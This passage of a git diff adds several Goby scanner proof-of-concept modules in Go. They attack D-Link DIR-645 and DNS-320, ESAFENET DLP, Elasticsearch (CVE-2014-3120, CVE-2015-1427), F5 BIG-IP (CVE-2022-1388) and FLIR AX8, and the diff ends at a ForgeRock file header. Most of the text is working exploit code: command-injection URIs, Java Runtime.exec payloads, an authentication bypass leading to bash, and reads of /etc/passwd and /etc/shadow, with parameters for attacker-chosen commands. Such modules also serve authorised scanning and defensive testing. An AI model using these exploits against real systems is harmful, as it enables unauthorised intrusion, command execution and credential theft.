[ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": null, + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "data": "", + "data_type": "text", + "follow_redirect": true, + "method": "GET", + "uri": "/" + }, + "ResponseTest": { + "checks": [ + { + "bz": "", + "operation": "==", + "type": "item", + "value": "200", + "variable": "$code" + } + ], + "operation": "AND", + "type": "group" + } + } + ], + "ExploitSteps": null, + "Tags": ["Account password disclosure"], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["D-Link Dir-645"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/getcfg.php" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg.Data = "SERVICES=DEVICE.ACCOUNT&attack=ture%0D%0AAUTHORIZED_GROUP%3D1" + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.Utf8Html, "password") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + uri := "/getcfg.php" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + cfg.Data = "SERVICES=DEVICE.ACCOUNT&attack=ture%0D%0AAUTHORIZED_GROUP%3D1" + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + expResult.Output = resp.Utf8Html + expResult.Success = true + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/D_Link_ShareCenter_DNS_320_system_mgr.cgi_RCE.go b/lib/goby/goby_pocs/D_Link_ShareCenter_DNS_320_system_mgr.cgi_RCE.go new file mode 100644 index 000000000..365c8de59 --- /dev/null +++ b/lib/goby/goby_pocs/D_Link_ShareCenter_DNS_320_system_mgr.cgi_RCE.go @@ -0,0 +1,93 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "regexp" + "strings" +) + +func init() { + expJson := `{ + "Name": "D-Link ShareCenter DNS-320 system_mgr.cgi RCE", + "Description": "D-Link ShareCenter DNS-320 system_ There is remote command execution in mgr.cgi, and the attacker can control the server through the vulnerability", + "Product": "D-Link ShareCenter DNS-320", + "Homepage": "http://www.dlink.com.cn/", + "DisclosureDate": "2021-05-28", + "Author": "PeiQi", + "GobyQuery": "app=\"DLink-DNS-ShareCenter\"", + "Level": "3", + "Impact": "

the attacker can control the server through the vulnerability

", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "Cmd", + "type": "input", + "value": "id" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND" + ], + "ExploitSteps": null, + "Tags": [ + "RCE" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": [ + "DLink-DNS-ShareCenter" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + }, + "Recommandation": "

Update

" +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/cgi-bin/system_mgr.cgi?cmd=cgi_get_log_item&total=;id;" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "uid") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + cmd := ss.Params["Cmd"].(string) + cmd = strings.Replace(cmd, " ", "%20", -1) + uri := "/cgi-bin/system_mgr.cgi?cmd=cgi_get_log_item&total=;" + cmd + ";" + cfg := httpclient.NewGetRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "application/x-www-form-urlencoded") + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + if resp.StatusCode == 200 && strings.Contains(resp.RawBody, "Content"){ + Data := regexp.MustCompile(`([\s\S]+)Content-type: text/xml`).FindStringSubmatch(resp.Utf8Html)[1] + expResult.Output = Data + expResult.Success = true + } + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/ESAFENET_DLP_dataimport_RCE.go b/lib/goby/goby_pocs/ESAFENET_DLP_dataimport_RCE.go new file mode 100644 index 000000000..0be83f372 --- /dev/null +++ b/lib/goby/goby_pocs/ESAFENET_DLP_dataimport_RCE.go @@ -0,0 +1,90 @@ +package exploits + +import ( + "fmt" + "git.gobies.org/goby/goscanner/goutils" + "git.gobies.org/goby/goscanner/jsonvul" + "git.gobies.org/goby/goscanner/scanconfig" + "git.gobies.org/goby/httpclient" + "regexp" + "strings" +) + +func init() { + expJson := `{ + "Name": "ESAFENET DLP dataimport RCE", + "Description": "ESAFENET DLP dataimport RCE,There is remote command execution, and the attacker can obtain the server permission through the vulnerability", + "Product": "ESAFENET-DLP document management system", + "Homepage": "http://www.esafenet.com/", + "DisclosureDate": "2021-06-01", + "Author": "PeiQi", + "GobyQuery": "app=\"ESAFENET-DLP\"", + "Level": "3", + "Impact": "

RCE

", + "Recommendation": "", + "References": [ + "http://wiki.peiqi.tech" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "Cmd", + "type": "input", + "value": "whoami" + } + ], + "ScanSteps": [ + "AND" + ], + "ExploitSteps": null, + "Tags": [ + "RCE" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": [ + "ESAFENET DLP" + ], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + }, + "Recommandation": "

undefined

" +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + func(exp *jsonvul.JsonVul, u *httpclient.FixUrl, ss *scanconfig.SingleScanConfig) bool { + uri := "/solr/flow/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0A%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20%2F%3E%0A%0A%20%20%3Cscript%3E%3C!%5BCDATA%5B%0A%20%20%20%20%20%20%20%20%20%20function%20poc(row)%7B%0A%20var%20bufReader%20%3D%20new%20java.io.BufferedReader(new%20java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(%22whoami%22).getInputStream()))%3B%0A%0Avar%20result%20%3D%20%5B%5D%3B%0A%0Awhile(true)%20%7B%0Avar%20oneline%20%3D%20bufReader.readLine()%3B%0Aresult.push(%20oneline%20)%3B%0Aif(!oneline)%20break%3B%0A%7D%0A%0Arow.put(%22title%22%2Cresult.join(%22%5Cn%5Cr%22))%3B%0Areturn%20row%3B%0A%0A%7D%0A%0A%5D%5D%3E%3C%2Fscript%3E%0A%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%20%20%20%20%20%20%20%20name%3D%22entity1%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0A%20%20%20%20%20%20%20%20forEach%3D%22%2FRDF%2Fitem%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title%22%20xpath%3D%22%2FRDF%2Fitem%2Ftitle%22%20%2F%3E%0A%20%20%20%20%3C%2Fentity%3E%0A%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "multipart/form-data; boundary=1966379a3af80fe4102863061a103a3e") + cfg.Data = "--1966379a3af80fe4102863061a103a3e\r\nContent-Disposition: form-data; name=\"stream.body\"; filename=\"stream.body\"\r\n\r\n\r\n--1966379a3af80fe4102863061a103a3e--" + if resp, err := httpclient.DoHttpRequest(u, cfg); err == nil { + return resp.StatusCode == 200 && strings.Contains(resp.RawBody, "system") + } + return false + }, + func(expResult *jsonvul.ExploitResult, ss *scanconfig.SingleScanConfig) *jsonvul.ExploitResult { + cmd := ss.Params["Cmd"].(string) + uri := "/solr/flow/dataimport?command=full-import&verbose=false&clean=false&commit=false&debug=true&core=tika&name=dataimport&dataConfig=%0A%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20%2F%3E%0A%0A%20%20%3Cscript%3E%3C!%5BCDATA%5B%0A%20%20%20%20%20%20%20%20%20%20function%20poc(row)%7B%0A%20var%20bufReader%20%3D%20new%20java.io.BufferedReader(new%20java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(%22" + cmd + "%22).getInputStream()))%3B%0A%0Avar%20result%20%3D%20%5B%5D%3B%0A%0Awhile(true)%20%7B%0Avar%20oneline%20%3D%20bufReader.readLine()%3B%0Aresult.push(%20oneline%20)%3B%0Aif(!oneline)%20break%3B%0A%7D%0A%0Arow.put(%22title%22%2Cresult.join(%22%5Cn%5Cr%22))%3B%0Areturn%20row%3B%0A%0A%7D%0A%0A%5D%5D%3E%3C%2Fscript%3E%0A%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%20%20%20%20%20%20%20%20name%3D%22entity1%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0A%20%20%20%20%20%20%20%20forEach%3D%22%2FRDF%2Fitem%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title%22%20xpath%3D%22%2FRDF%2Fitem%2Ftitle%22%20%2F%3E%0A%20%20%20%20%3C%2Fentity%3E%0A%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E%0A%20%20%20%20%0A%20%20%20%20%20%20%20%20%20%20%20" + cfg := httpclient.NewPostRequestConfig(uri) + cfg.VerifyTls = false + cfg.FollowRedirect = false + cfg.Header.Store("Content-type", "multipart/form-data; boundary=1966379a3af80fe4102863061a103a3e") + cfg.Data = "--1966379a3af80fe4102863061a103a3e\r\nContent-Disposition: form-data; name=\"stream.body\"; filename=\"stream.body\"\r\n\r\n\r\n--1966379a3af80fe4102863061a103a3e--" + if resp, err := httpclient.DoHttpRequest(expResult.HostInfo, cfg); err == nil { + if resp.StatusCode == 200 { + resinfo := regexp.MustCompile(`documents">([\s\S]*?)`).FindStringSubmatch(resp.RawBody)[1] + expResult.Output = resinfo + expResult.Success = true + } + } + return expResult + }, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/Elasticsearch_Remote_Code_Execution_CVE_2014_3120.go b/lib/goby/goby_pocs/Elasticsearch_Remote_Code_Execution_CVE_2014_3120.go new file mode 100644 index 000000000..731443ae8 --- /dev/null +++ b/lib/goby/goby_pocs/Elasticsearch_Remote_Code_Execution_CVE_2014_3120.go @@ -0,0 +1,191 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "Elasticsearch Remote Code Execution CVE-2014-3120", + "Description": "The default configuration before Elasticsearch 1.2 enabled dynamic scripting, which allowed remote attackers to execute arbitrary MVEL expressions and Java code through the source parameter of _search.", + "Product": "Elasticsearch", + "Homepage": "https://gobies.org/", + "DisclosureDate": "2021-04-10", + "Author": "zhzyker", + "GobyQuery": "product=elasticsearch", + "Level": "3", + "Impact": "

ElasticSearch is an open source, distributed, RESTful search engine built on Lucene. Designed for use in cloud computing, it can achieve real-time, stable, reliable and fast search, and is easy to install and use. Supports data indexing via HTTP request and using JSON.

Since ElasticSearch has enabled dynamic script execution by default, any user can execute arbitrary Java code by constructing a specially crafted submission.

", + "Recommandation": "

The official version of elasticsearch 1.2 has been publicly released, and the dynamic script execution function is disabled by default.

", + "References": [ + "https://github.com/zhzyker" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "cmd", + "type": "input", + "value": "whoami" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/website/blog/", + "follow_redirect": true, + "header": { + "Accept-Encoding": "gzip, deflate", + "Accept": "*/*", + "Connection": "close", + "Accept-Language": "en", + "Content-Type": "application/x-www-form-urlencoded" + }, + "data_type": "text", + "data": "{ \"name\": \"cve-2014-3120\" }" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "201", + "bz": "http_code" + } + ] + }, + "SetVariable": [] + }, + { + "Request": { + "method": "POST", + "uri": "/_search?pretty", + "follow_redirect": true, + "header": { + "Accept-Encoding": "gzip, deflate", + "Accept": "*/*", + "Connection": "close", + "Accept-Language": "en", + "Content-Type": "application/x-www-form-urlencoded" + }, + "data_type": "text", + "data": "{\"size\":1,\"query\":{\"filtered\":{\"query\":{\"match_all\":{}}}},\"script_fields\":{\"command\":{\"script\":\"import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\\\"echo 0d455d3d2044e6e7781771d932e68dbc_goby_nb\\\").getInputStream()).useDelimiter(\\\"\\\\\\\\A\\\").next();\"}}}" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "0d455d3d2044e6e7781771d932e68dbc", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/website/blog/", + "follow_redirect": true, + "header": { + "Accept-Encoding": "gzip, deflate", + "Accept": "*/*", + "Connection": "close", + "Accept-Language": "en", + "Content-Type": "application/x-www-form-urlencoded" + }, + "data_type": "text", + "data": "{ \"name\": \"cve-2014-3120\" }" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "201", + "bz": "http_code" + } + ] + }, + "SetVariable": [ + "output|lastbody" + ] + }, + { + "Request": { + "method": "POST", + "uri": "/_search?pretty", + "follow_redirect": true, + "header": { + "Accept-Encoding": "gzip, deflate", + "Accept": "*/*", + "Connection": "close", + "Accept-Language": "en", + "Content-Type": "application/x-www-form-urlencoded" + }, + "data_type": "text", + "data": "{\"size\":1,\"query\":{\"filtered\":{\"query\":{\"match_all\":{}}}},\"script_fields\":{\"command\":{\"script\":\"import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\\\"{{{cmd}}}\\\").getInputStream()).useDelimiter(\\\"\\\\\\\\A\\\").next();\"}}}" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "http_code" + } + ] + }, + "SetVariable": [ + "output|lastbody|regex|(?s)\"command\" : (.*)}" + ] + } + ], + "Tags": [ + "RCE" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} diff --git a/lib/goby/goby_pocs/Elasticsearch_Remote_Code_Execution_CVE_2015_1427.go b/lib/goby/goby_pocs/Elasticsearch_Remote_Code_Execution_CVE_2015_1427.go new file mode 100644 index 000000000..30b815711 --- /dev/null +++ b/lib/goby/goby_pocs/Elasticsearch_Remote_Code_Execution_CVE_2015_1427.go @@ -0,0 +1,198 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "Elasticsearch Remote Code Execution CVE-2015-1427", + "Description": "The Groovy script engine before Elasticsearch 1.3.8 and the Groovy script engine in 1.4.x before 1.4.3 allow remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands through elaborate scripts.", + "Product": "Elasticsearch", + "Homepage": "https://www.elastic.co/cn/elasticsearch/", + "DisclosureDate": "2021-04-11", + "Author": "zhzyker", + "GobyQuery": "product=elasticsearch", + "Level": "3", + "Impact": "

In 2014, a remote code execution vulnerability (CVE-2014-3120) was exposed. The vulnerability appeared in the script query module. Since search engines support the use of script code (MVEL) as an expression for data manipulation, attackers can use MVEL Construct and execute arbitrary java code,

Later, the scripting language engine was changed to Groovy and a sandbox was added to control it. Dangerous codes would be intercepted. As a result, this time because the sandbox restrictions were not strict, it led to remote code execution.

", + "Recommandation": "

Close the groovy sandbox to stop the use of dynamic scripts:

script.groovy.sandbox.enabled: false
", + "References": [ + "https://github.com/zhzyker" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "cmd", + "type": "input", + "value": "whoami" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/website/blog/", + "follow_redirect": true, + "header": { + "Accept-Encoding": "gzip, deflate", + "Accept": "*/*", + "Connection": "close", + "Accept-Language": "en", + "Content-Type": "application/x-www-form-urlencoded" + }, + "data_type": "text", + "data": "{ \"name\": \"cve-2015-1427\" }" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "201", + "bz": "" + } + ] + }, + "SetVariable": [] + }, + { + "Request": { + "method": "POST", + "uri": "/_search?pretty", + "follow_redirect": true, + "header": { + "Accept-Encoding": "gzip, deflate", + "Accept": "*/*", + "Connection": "close", + "Accept-Language": "en", + "Content-Type": "application/text" + }, + "data_type": "text", + "data": "{\"size\":1, \"script_fields\": {\"lupin\":{\"lang\":\"groovy\",\"script\": \"java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"echo 460f7ccb583e25e09c0fe100a2c9e90d\\\").getText()\"}}}" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "460f7ccb583e25e09c0fe100a2c9e90d", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/website/blog/", + "follow_redirect": true, + "header": { + "Accept-Encoding": "gzip, deflate", + "Accept": "*/*", + "Connection": "close", + "Accept-Language": "en", + "Content-Type": "application/x-www-form-urlencoded" + }, + "data_type": "text", + "data": "{ \"name\": \"cve-2015-1427\" }" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "201", + "bz": "" + } + ] + }, + "SetVariable": [ + "output|lastbody" + ] + }, + { + "Request": { + "method": "POST", + "uri": "/_search?pretty", + "follow_redirect": true, + "header": { + "Accept-Encoding": "gzip, deflate", + "Accept": "*/*", + "Connection": "close", + "Accept-Language": "en", + "Content-Type": "application/text" + }, + "data_type": "text", + "data": "{\"size\":1, \"script_fields\": {\"lupin\":{\"lang\":\"groovy\",\"script\": \"java.lang.Math.class.forName(\\\"java.lang.Runtime\\\").getRuntime().exec(\\\"{{{cmd}}}\\\").getText()\"}}}" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "460f7ccb583e25e09c0fe100a2c9e90d", + "bz": "" + } + ] + }, + "SetVariable": [ + "output|lastbody|regex|(?s)\"lupin\" : \\[ \"(.*)\" \\]" + ] + } + ], + "Tags": [ + "RCE" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/F5_BIG_IP_login_bypass_CVE_2022_1388.go b/lib/goby/goby_pocs/F5_BIG_IP_login_bypass_CVE_2022_1388.go new file mode 100644 index 000000000..2658d82e1 --- /dev/null +++ b/lib/goby/goby_pocs/F5_BIG_IP_login_bypass_CVE_2022_1388.go @@ -0,0 +1,167 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "F5-BIG-IP-login-bypass-CVE-2022-1388", + "Description": "

BIG-IP 是 F5 公司的一款应用交付服务是面向以应用为中心的世界先进技术。借助 BIG-IP 应用程序交付控制器保持应用程序正常运行。BIG-IP 本地流量管理器 (LTM) 和 BIG-IP DNS 能够处理应用程序流量并保护基础设施。

", + "Product": "BIG-IP", + "Homepage": "https://fofa.so/", + "DisclosureDate": "2022-05-11", + "Author": "", + "FofaQuery": "body=\"F5 Networks, Inc\"", + "GobyQuery": "body=\"F5 Networks, Inc\"", + "Level": "3", + "Impact": "

未经身份验证的攻击者可以通过管理端口或自身 IP 地址对 BIG-IP 系统进行网络访问,执行任意系统命令、创建或删除文件或禁用服务。

", + "Recommendation": "

参考漏洞影响范围,目前F5官方已给出解决方案,可升级至不受影响版本或参考官网文件进行修复 

https://support.f5.com/csp/article/K23605346

", + "References": [ + "https://fofa.so/" + ], + "Is0day": false, + "HasExp": true, + "ExpParams": [ + { + "name": "command", + "type": "input", + "value": "id", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/mgmt/tm/util/bash", + "follow_redirect": true, + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36", + "X-F5-Auth-Token": "a", + "Connection": "Keep-Alive, X-F5-Auth-Token", + "Authorization": "Basic YWRtaW46", + "Content-Type": "application/json" + }, + "data_type": "text", + "data": "{\"command\": \"run\", \"utilCmdArgs\": \"-c 'id'\"}" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + }, + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "uid=", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "POST", + "uri": "/mgmt/tm/util/bash", + "follow_redirect": true, + "header": { + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36", + "X-F5-Auth-Token": "a", + "Connection": "Keep-Alive, X-F5-Auth-Token", + "Authorization": "Basic YWRtaW46", + "Content-Type": "application/json" + }, + "data_type": "text", + "data": "{\"command\": \"run\", \"utilCmdArgs\": \"-c '{{{command}}}'\"}" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$code", + "operation": "==", + "value": "200", + "bz": "" + } + ] + }, + "SetVariable": [ + "output|lastbody||" + ] + } + ], + "Tags": [ + "命令执⾏" + ], + "VulType": [ + "命令执⾏" + ], + "CVEIDs": [ + "CVE-2022-1388" + ], + "CNNVD": [ + "" + ], + "CNVD": [ + "" + ], + "CVSSScore": "", + "Translation": { + "CN": { + "Name": "F5-BIG-IP-login-bypass-CVE-2022-1388", + "Product": "BIG-IP", + "Description": "

BIG-IP 是 F5 公司的一款应用交付服务是面向以应用为中心的世界先进技术。借助 BIG-IP 应用程序交付控制器保持应用程序正常运行。BIG-IP 本地流量管理器 (LTM) 和 BIG-IP DNS 能够处理应用程序流量并保护基础设施。

", + "Recommendation": "

参考漏洞影响范围,目前F5官方已给出解决方案,可升级至不受影响版本或参考官网文件进行修复 

https://support.f5.com/csp/article/K23605346

", + "Impact": "

未经身份验证的攻击者可以通过管理端口或自身 IP 地址对 BIG-IP 系统进行网络访问,执行任意系统命令、创建或删除文件或禁用服务。

", + "VulType": [ + "命令执⾏" + ], + "Tags": [ + "命令执⾏" + ] + }, + "EN": { + "Name": "F5-BIG-IP-login-bypass-CVE-2022-1388", + "Product": "", + "Description": "

Big-ip is an application delivery service from F5 that is geared towards the world of application-centric advanced technology. Keep the application running with big-IP application delivery controller. Big-ip Local Traffic Manager (LTM) and Big-IP DNS can handle application traffic and secure the infrastructure.

An unauthenticated attacker can use the management port or its own IP address to access the big-IP system, execute any system command, create or delete files, or disable services.

", + "Recommendation": "", + "Impact": "", + "VulType": [], + "Tags": [] + } + }, + "AttackSurfaces": { + "Application": null, + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} \ No newline at end of file diff --git a/lib/goby/goby_pocs/FLIR_AX8_Arbitrary_File_Download_Vulnerability_CNVD-2021-39018.go b/lib/goby/goby_pocs/FLIR_AX8_Arbitrary_File_Download_Vulnerability_CNVD-2021-39018.go new file mode 100644 index 000000000..715755f12 --- /dev/null +++ b/lib/goby/goby_pocs/FLIR_AX8_Arbitrary_File_Download_Vulnerability_CNVD-2021-39018.go @@ -0,0 +1,146 @@ +package exploits + +import ( + "git.gobies.org/goby/goscanner/goutils" +) + +func init() { + expJson := `{ + "Name": "FLIR-AX8 Arbitrary File Download Vulnerability", + "Description": "Teledyne FLIR specializes in the design, development, manufacture, marketing and marketing of specialized technologies for enhanced situational awareness.\\nFLIR-AX8 has an arbitrary file download vulnerability.An attacker can use the vulnerability to download relevant system configuration files.", + "Product": "FLIR AX8 71213294,FLIR AX8 71219303", + "Homepage": "https://www.flir.cn", + "DisclosureDate": "2021-07-06", + "Author": "luckying1314@139.com", + "GobyQuery": "header=\"lighttpd\"", + "Level": "2", + "Impact": "

Arbitrary file download or read vulnerability is mainly because when the application system provides the function of file download or read, the application system directly specifies the file path in the file path parameter and does not verify the legitimacy of the file path, resulting in the attacker can jump through the directory (..\\ or../) way to download or read a file outside the original specified path.The attacker can finally download or read any file on the system through the vulnerability, such as database files, application system source code, password configuration information and other important sensitive information, resulting in the sensitive information leakage of the system

", + "Recommandation": "

The manufacturer has not provided the vulnerability fix solution, please pay attention to the manufacturer's home page to update:https://www.flir.cn/

", + "References": [ + "https://www.pwnwiki.org/index.php?title=%E8%8F%B2%E5%8A%9B%E7%88%BE_FLIR-AX8_download.php_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BC%89%E6%BC%8F%E6%B4%9E" + ], + "HasExp": true, + "ExpParams": [ + { + "name": "file", + "type": "createSelect", + "value": "/etc/passwd,/etc/shadow,/etc/hosts", + "show": "" + } + ], + "ExpTips": { + "Type": "", + "Content": "" + }, + "ScanSteps": [ + "OR", + { + "Request": { + "method": "GET", + "uri": "/download.php?file=/etc/group", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "root", + "bz": "" + } + ] + }, + "SetVariable": [] + }, + { + "Request": { + "method": "GET", + "uri": "/download.php?file=/etc/passwd", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "root", + "bz": "" + } + ] + }, + "SetVariable": [] + }, + { + "Request": { + "method": "GET", + "uri": "/download.php?file=/etc/shadow", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "ResponseTest": { + "type": "group", + "operation": "AND", + "checks": [ + { + "type": "item", + "variable": "$body", + "operation": "contains", + "value": "root", + "bz": "" + } + ] + }, + "SetVariable": [] + } + ], + "ExploitSteps": [ + "AND", + { + "Request": { + "method": "GET", + "uri": "/download.php?file={{{file}}}", + "follow_redirect": true, + "header": {}, + "data_type": "text", + "data": "" + }, + "SetVariable": [ + "output|lastbody" + ] + } + ], + "Tags": [ + "fileread" + ], + "CVEIDs": null, + "CVSSScore": "0.0", + "AttackSurfaces": { + "Application": ["FLIR AX8 71213294,FLIR AX8 71219303"], + "Support": null, + "Service": null, + "System": null, + "Hardware": null + } +}` + + ExpManager.AddExploit(NewExploit( + goutils.GetFileName(), + expJson, + nil, + nil, + )) +} diff --git a/lib/goby/goby_pocs/ForgeRock_AM_RCE_CVE_2021_35464.go b/lib/goby/goby_pocs/ForgeRock_AM_RCE_CVE_2021_35464.go new file mode 100644 index 000000000..898108c67 --- /dev/null +++ b/lib/goby/goby_pocs/ForgeRock_AM_RCE_CVE_2021_35464.go @@ -0,0 +1,145 